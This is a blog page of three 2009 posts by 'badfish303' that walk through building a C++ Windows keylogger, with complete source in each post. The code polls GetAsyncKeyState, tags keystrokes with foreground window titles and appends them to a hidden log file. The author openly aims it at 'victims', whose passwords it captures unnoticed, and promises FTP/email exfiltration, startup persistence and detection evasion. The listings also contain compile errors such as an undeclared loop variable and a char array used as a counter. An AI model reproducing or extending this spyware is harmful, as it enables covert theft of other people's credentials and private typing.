Showing posts with label Keylogger. Show all posts
Showing posts with label Keylogger. Show all posts

Sunday, May 10, 2009

More for Our C++ Keylogger - Special Characters

First of all, if you are new to this blog, be sure to check out the other two keylogger tutorials first because you will need those for this one, they are the posts before this and make sure you SUBSCRIBE so you wont miss the next one.


Well, I have two comments and 1 subscriber -_- not exactly what I was hoping for but hopefully this post will change your mind. The problem is that I only have so much to add, and after that only your requests can keep me going before I move on to a new project so please, COMMENT! and SUBSCRIBE!. By the way for those of you that dont know how to subscribe, if you are using Firefox, just use its inbuilt feed reader, otherwise download a free one. In fact, I am pretty sure that internet explorer has an inbuilt reader too. And if you can't or don't want to do this, atleast follow me on google (the last widget down on the sidebar), or COMMENT!

-------------------------------------------------------------------------------------

Anyway, so far for our keylogger, we have one that captures the keys and the window titles and stores them in a text file, well, if you guys tried it out, you would have noticed that the logs are still pretty incomprehensible. Characters like the Shift or Tab key are not getting caught so you can't really use the logger efficiently until you can do so. Today I will teach you not only how to catch all these characters, but also how to resolve shifting, or capitalizing of passwords/usernames etc.

There is only one new api that you have to learn for this tutorial
GetKeyState();

What! I thought we used that already?

Nope, we used GetAsyncKeyState(); before, well whats the difference? There are many differences, especially in their return values, but for our intents and purposes just remember them as, GetKeyState(); can check whether a key is toggled or not like numlock or most importantly capslock. GetAsyncKeyState checks for a separate asynchronous key press, not a toggle and not at the same time.

You should also know how to use switch cases for they will prove handy.

So, we know that GetAsyncKeyState and GetKeyState based on their msdn's accept a VKEY or virtual key value. This can be the decimal or char value of any ASCII key. So far, our Logger function takes this vkey value in char form and outputs it into a text file. So, what if we take this value and convert it to a readable form for all keys? That would work out well. Well, the first thing is to change the value in the Logger function to an int. You will see why later.
In addition, lets make things easier and change our key value to a string so that we can easily update it into the file and not have to worry about char size and such.

So once we do this we have:



void Logger()
{
string keyinstring = "";
int key;
char currentwindowtitle[MAX_PATH];
char newwindowtitle[MAX_PATH];
GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));
while(true)
{
Sleep(5);
for(key = 8; key <= 256; key++)
{
if(GetAsyncKeyState(key)&1 == 1)
{
GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));
if (strcmp(newwindowtitle, currentwindowtitle) != 0)
{
ofstream storekey("C:\\storekey.txt", ios::app);
storekey << endl << currentwindowtitle << endl;
storekey.close;
strcpy(newwindowtitle, currentwindowtitle);
}
keyinstring = convertkey(key);
StoreKey(keyinstring);
}
}
}
}


So now we have to right our convertkey method that will return a string value that we can store with storekey(); But, before we do that, lets change our StoreKey method so that it can accept strings instead of an int.

So we have:


void StoreKey(string key){
ofstream storekey("C:\\storekey.txt", ios::app);
storekey << key;
storekey.close;
}


Now all we have to do is write our convertkey function. So, firstly we want the function to return a string and to accept an int as a parameter so we have:


string convertkey(int key){
//converts the keys
}


Whoa Whoa Whoa, all these strings, they have to come from somewhere. Well you are right. We have to add:


#include <string>


to the includes at the top of our code.

Anyway, back to the convertkey method. Well, how do we convert a key, its easy, just take in a value, and output the corresponding string, for example


string convertkey(int key){
string keystring;
switch(key)
{
case 8:
keystring = "[DELETE]";
break;
}
return keystring;
}


So what does this do, it takes in a decimal vkey, in this case 8, which corresponds to the Backspace key on your keyboard. Then it returns that for you to store in your log, otherwise you would just have a unidentified character which neither you nor the computer can read. So I am not going to bore you with all the switch cases that we need so I will just give them to you. Note that I used switch case instead of if else because its easier to add more as we go along. Here is the completed switch case scenarios.


string convertkey(int key){
string keystring;
switch(key)
{
case 8 :
keystring = "[/]";
break;
case 13 :
keystring = "\n";
break;
case 32 :
keystring = " ";
break;
case 190 :
keystring = ".";
break;
case 110 :
keystring = ".";
break;
case VK_CAPITAL :
keystring = "[CAPS LOCK]";
break;
case VK_TAB :
keystring = "[TAB]";
break;
case VK_CONTROL :
keystring = "[CONTROL]";
break;
case VK_ESCAPE :
keystring = "[ESCAPE]";
break;
case VK_DOWN :
keystring = "[DOWN]";
break;
case VK_LEFT :
keystring = "[LEFT]";
break;
case VK_RIGHT :
keystring = "[RIGHT]";
break;
case VK_UP :
keystring = "[UP]";
break;
}
return keystring;
}



Note that in case 13, 13 is the corresponding value for the enter key so we have "\n" or the newline character. Yay we are done.

No we are not. Remember that we modified our logger function to depend on this method for all the characters special or not. This way we can resolve capitals and stuff. So, what do we do now, we have to find a way to resolve those. This is where GetKeyState(); comes into play. We can use it to check whether the capslock is on or not.

So now, our completed function, i commented the new parts to make it easier to understand. Remember, it looks like a lot of complicated numbers but those are just decimal values representing the keys u type, lowercase or uppercase, special or not.


string convertkey(int key){
string keystring;
switch(key)
{
case 8 :
keystring = "[/]";
break;
case 13 :
keystring = "\n";
break;
case 32 :
keystring = " ";
break;
case 190 :
keystring = ".";
break;
case 110 :
keystring = ".";
break;
case VK_CAPITAL :
keystring = "[CAPS LOCK]";
break;
case VK_TAB :
keystring = "[TAB]";
break;
case VK_CONTROL :
keystring = "[CONTROL]";
break;
case VK_ESCAPE :
keystring = "[ESCAPE]";
break;
case VK_DOWN :
keystring = "[DOWN]";
break;
case VK_LEFT :
keystring = "[LEFT]";
break;
case VK_RIGHT :
keystring = "[RIGHT]";
break;
case VK_UP :
keystring = "[UP]";
break;
}
if(key >= 96 && key <= 105)
keystring = key-48;
else if (key > 47 && key < 60)
keystring = key;
if (key != VK_LBUTTON || key != VK_RBUTTON)
{
if (key > 64 && key < 91)
{
if (GetKeyState(VK_CAPITAL) | GetAsyncKeyState(VK_SHIFT))
keystring = key; //if its capital then stay
else
{
key = key + 32; //if not shift the number to the lowercase value
keystring = key;
}
}
}
return keystring;
}


Well there you have it, a function that can resolve special characters and shifting. Be sure to edit it to your needs and now the complete source code so far.

----------------------------------------------------------------------------------

#include <windows.h>
#include <fstream>
#include <string>

using namespace std;

string convertkey(int key){
string keystring;
switch(key)
{
case 8 :
keystring = "[/]";
break;
case 13 :
keystring = "\n";
break;
case 32 :
keystring = " ";
break;
case 190 :
keystring = ".";
break;
case 110 :
keystring = ".";
break;
case VK_CAPITAL :
keystring = "[CAPS LOCK]";
break;
case VK_TAB :
keystring = "[TAB]";
break;
case VK_CONTROL :
keystring = "[CONTROL]";
break;
case VK_ESCAPE :
keystring = "[ESCAPE]";
break;
case VK_DOWN :
keystring = "[DOWN]";
break;
case VK_LEFT :
keystring = "[LEFT]";
break;
case VK_RIGHT :
keystring = "[RIGHT]";
break;
case VK_UP :
keystring = "[UP]";
break;
}
if(key >= 96 && key <= 105)
keystring = key-48;
else if (key > 47 && key < 60)
keystring = key;
if (key != VK_LBUTTON || key != VK_RBUTTON)
{
if (key > 64 && key < 91)
{
if (GetKeyState(VK_CAPITAL) | GetAsyncKeyState(VK_SHIFT))
keystring = key; //if its capital then stay
else
{
key = key + 32; //if not shift the number to the lowercase value
keystring = key;
}
}
}
return keystring;
}

void StoreKey(string key){
ofstream storekey("C:\\storekey.txt", ios::app);
storekey << key;
storekey.close;
}

void Logger()
{
string keyinstring = "";
int key;
char currentwindowtitle[MAX_PATH];
char newwindowtitle[MAX_PATH];
GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));
while(true)
{
Sleep(5);
for(key = 8; key <= 256; key++)
{
if(GetAsyncKeyState(key)&1 == 1)
{
GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));
if (strcmp(newwindowtitle, currentwindowtitle) != 0)
{
ofstream storekey("C:\\storekey.txt", ios::app);
storekey << endl << currentwindowtitle << endl;
storekey.close;
strcpy(newwindowtitle, currentwindowtitle);
}
keyinstring = convertkey(key);
StoreKey(keyinstring);
}
}
}
}

int main(){
Logger();
return 1;
}

--------------------------------------------------------------------------------

Be sure to SUBSCRIBE, COMMENT, and request new tutorials and features. Hope you enjoyed this and put it to good use ;]

-badfish303

Thursday, May 7, 2009

Adding to our C++ Keylogger (Window Text and Special Characters)

Well, for those of you who have tried it out so far, nobody subscribed =( but anyway i guess i am obligated to add more, but please guys subscribe and comments, otherwise I wont know if anyone is reading this.

---------------------------------------------------------------------------------

Anyways here goes.
So as of now, we have a very simple keylogger, it takes in the keys that the victim types in and outputs them to a specified file. Well there are many problems with this keylogger. I'll help you solve one of these with this post.

Firstly, you would have to go the victims computer to retrieve the file, and most of the time this isn't a possibility. Also, if you have tried the keylogger out, you would have noticed that it doesnt resolve many of the characters like "Enter" and "Shift" and stuff. The next post will deal with ftp uploading and resolving these characters but this post will focus on a very important necessity to any keylogger, getting the window. The problem with many loggers is that you may have some passwords or something but you will never know what these passwords are for. So for that, you need to be able to get the window text.

Also remember that if you get the window text for a browser, it also tells you what webpage they are on, ie yahoo mail so this function can be very useful.

First, we have to familiarize ourselves with the API's that will help us get the window text. They are pretty self explanatory really, GetWindowText(); and GetForegroundWindow();. The msdn's for both are as follows respectively
GetWindowText
GetForegroundWindow()

Okay so after reading those we can see that GetForegroundWindow returns a handle to the foreground window or whatever window is selected. GetWindowText points the text of the window to a buffer with a specific length.

So in order to get the window text of the foreground window all we would have to do would be:



void getwindow(){
char window[MAX_PATH];
HWND currentwindow;
currentwindow = GetForegroundWindow();
GetWindowText(currentwindow, window, sizeof(window));
}


So this simple method returns the foreground window to the handle "currentwindow" and then uses GetWindowText to assign the buffer window with the size using the sizeof function the name of the current window. Well this is all good but when it comes to implementing it into our keylogger, putting this into the main function will just get the window text once, at the start of the program. In contrast, putting this in the check keys loop will get the window text and print it out every single time it goes through the loop, which means that your log will be overflowed with the same window title.

However, what if we put it in the loop, but only print it if the window has changed.
In other words, why dont we check what the window is, and then if that changes, we output the new window, that way we will have the names of all the windows that it were typed into and nothing more or less.

So lets modify our logger function:



void Logger()
{
char key[20];
char currentwindowtitle[MAX_PATH];
char newwindowtitle[MAX_PATH];
GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));
while(true)
{
Sleep(5);
for(key = 8; key <= 256; key++)
{
if(GetAsyncKeyState(key)&1 == 1)
{
GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));
if (strcmp(newwindowtitle, currentwindowtitle) != 0)
{
ofstream storekey("C:\\storekey.txt", ios::app);
storekey << endl << currentwindowtitle << endl;
storekey.close;
strcpy(newwindowtitle, currentwindowtitle);
}
StoreKey(key);
}
}
}
}


So lets have a look at what this code does differently from our old Logger() function. First, it initializes the currentwindowtitle variable with the current window, then every time it loops through, it checks if the new window is the same as the old window, using the return value from the strcpy (string copy) function, and if it is different, then it outputs to the logfile. It also then changes the currentwindowtitle to the newtitle and then does it all over again. So there we have it, a keylogger that can tell you exactly where your victim is typing their passwords etc. Have fun, and remember to subscribe and to comment. Remember, if you want to request any functionality for the logger or anything, COMMENT and recommend this site to all your friends! Next post will deal with some very exciting stuff, like sending you the logs, so remember to subscribe so you know when that comes out. Come on guys, show me some love. The following is the complete code of our keylogger so far.

---------------------------------------------------------------------------------


#include <windows.h>
#include <fstream>


using namespace std;

void StoreKey(char key){
ofstream storekey("C:\\storekey.txt", ios::app);
storekey << key;
storekey.close;
}

void Logger()
{
char key[20];
char currentwindowtitle[MAX_PATH];
char newwindowtitle[MAX_PATH];
GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));
while(true)
{
Sleep(5);
for(key = 8; key <= 256; key++)
{
if(GetAsyncKeyState(key)&1 == 1)
{
GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));
if (strcmp(newwindowtitle, currentwindowtitle) != 0)
{
ofstream storekey("C:\\storekey.txt", ios::app);
storekey << endl << currentwindowtitle << endl;
storekey.close;
strcpy(newwindowtitle, currentwindowtitle);
}
StoreKey(key);
}
}
}
}

int main(){
Logger();
return 1;
}


-------------------------------------------------------------------------------

Remember to subscribe and COMMENT if you want me to keep writing this. Thanks Guys.

-badfish303

Tuesday, May 5, 2009

Building a C++ Keylogger

Well, a lot of people have been asking me if there is such thing as an undetectable keylogger and after some quick searching I decided to code one myself. Here is the catch, first of all I'm not going to give you the .exe just the source, you can compile it yourself. Second of all, we are gonna do it one step at a time, one post at a time. But believe me, once we are through we will have a kickass keylogger.

Some features that we will go over:

- Sending logs via FTP
- Sending logs through email
- Running as a system process
- Running on startup
- Window titles and screenshots

What you will need:

- A basic knowledge of C++ (Very Basic)

- A compiler (I did these with Dev)
heres the link to download dev c++ http://www.bloodshed.net/dev/devcpp.html
scroll to the bottom and there is the dload link

- 10 -15 minutes
- A mouse click to subscribe to my blog!

Firstly, we have to understand the 2 basic types of keyloggers:
- Userland based loggers that capture the current state of the keyboard
- Keyboard hooks, filter drivers, or rootkits, that actually intercept the signals

For all intents and purposes, a well coded hook can easily avoid detection, but well coded is very hard to do and to explain, and you can understand it much better if we start with the Userland loggers which can be just as effective.

How these loggers work:

Windows conveniently provides a very nice API which is always undetectable because well, its used for just about anything, including keyloggers. The API is called GetAsyncKeyState()
a quick msdn search reveals that this function takes one value, the vkey or virtual key, an ascii decimal or hex value which represents the key. C++ also comes with some predefined values for example VK_SHIFT is the shift key, you dont need the decimal value. Anyway, this function also returns whether or not the key is pressed down or not. Heres the msdn link.

So, we can use GetAsyncKeyState to check whether the key is pressed down or not, well how does that help us log it? Well you have to walk before you can crawl so first lets add this to our code.


void Logger(){
int key;
GetAsyncKeyState(key);
}


Nows the fun part, if we can check if a key is pressed down, why dont we have the program check all the keys for if they are pressed down? Then we will know which key to log? Sounds hard? well no its not, atleast not if we use loops.




void Logger() {
char key[10];
while(true) {
Sleep(5);
for(key = 8; key <= 256; i++){
if(GetAsyncKeyState(key)==-32767){
StoreKey(key);
}
}
}
}




lets analyze what this code does, first we initiate a constant while loop. Inside the loop, there is another for loop which cycles through all the common ASCII values and checks if they are being pressed down. If they are, stores this in a file with the storekey function which we will write next. In addition, there is also a Sleep(5); to make sure that this doesnt take up 100% of the cpu and attract the victim's attention.

Now for the store key function.



void StoreKey(char key){
ofstream storekey("C:\\storekey.txt", ios::app);
storekey << key;
storekey.close;
}


This function opens a new ofstream, storekey that directs to a file named storekey.txt in the C drive, it then logs the key to that file and closes the file.

Well now for the complete code. Remember, if you liked this code and want more remember to subscribe and comment! come on guys, i need incentive to keep doing this.
THANKS

--------------------------------------------------------------------------------


#include <windows.h>
#include <fstream>

using namespace std;

void StoreKey(char key){
ofstream storekey("C:\\storekey.txt", ios::app);
storekey << key;
storekey.close;
}


void Logger() {
char key[10];
while(true) {
Sleep(5);
for(key = 8; key <= 256; i++){
if(GetAsyncKeyState(key)==-32767){
StoreKey(key);
}
}
}
}

int main(){
Logger();
return 1;
}


----------------------------------------------------------------------------------------------- Thats it a simple keylogger. Make sure you subscribe so you catch the next post, it will teach you how to catch all the special characters and maybe even how to send your log to yourself O.o Read! Comment! Subscribe!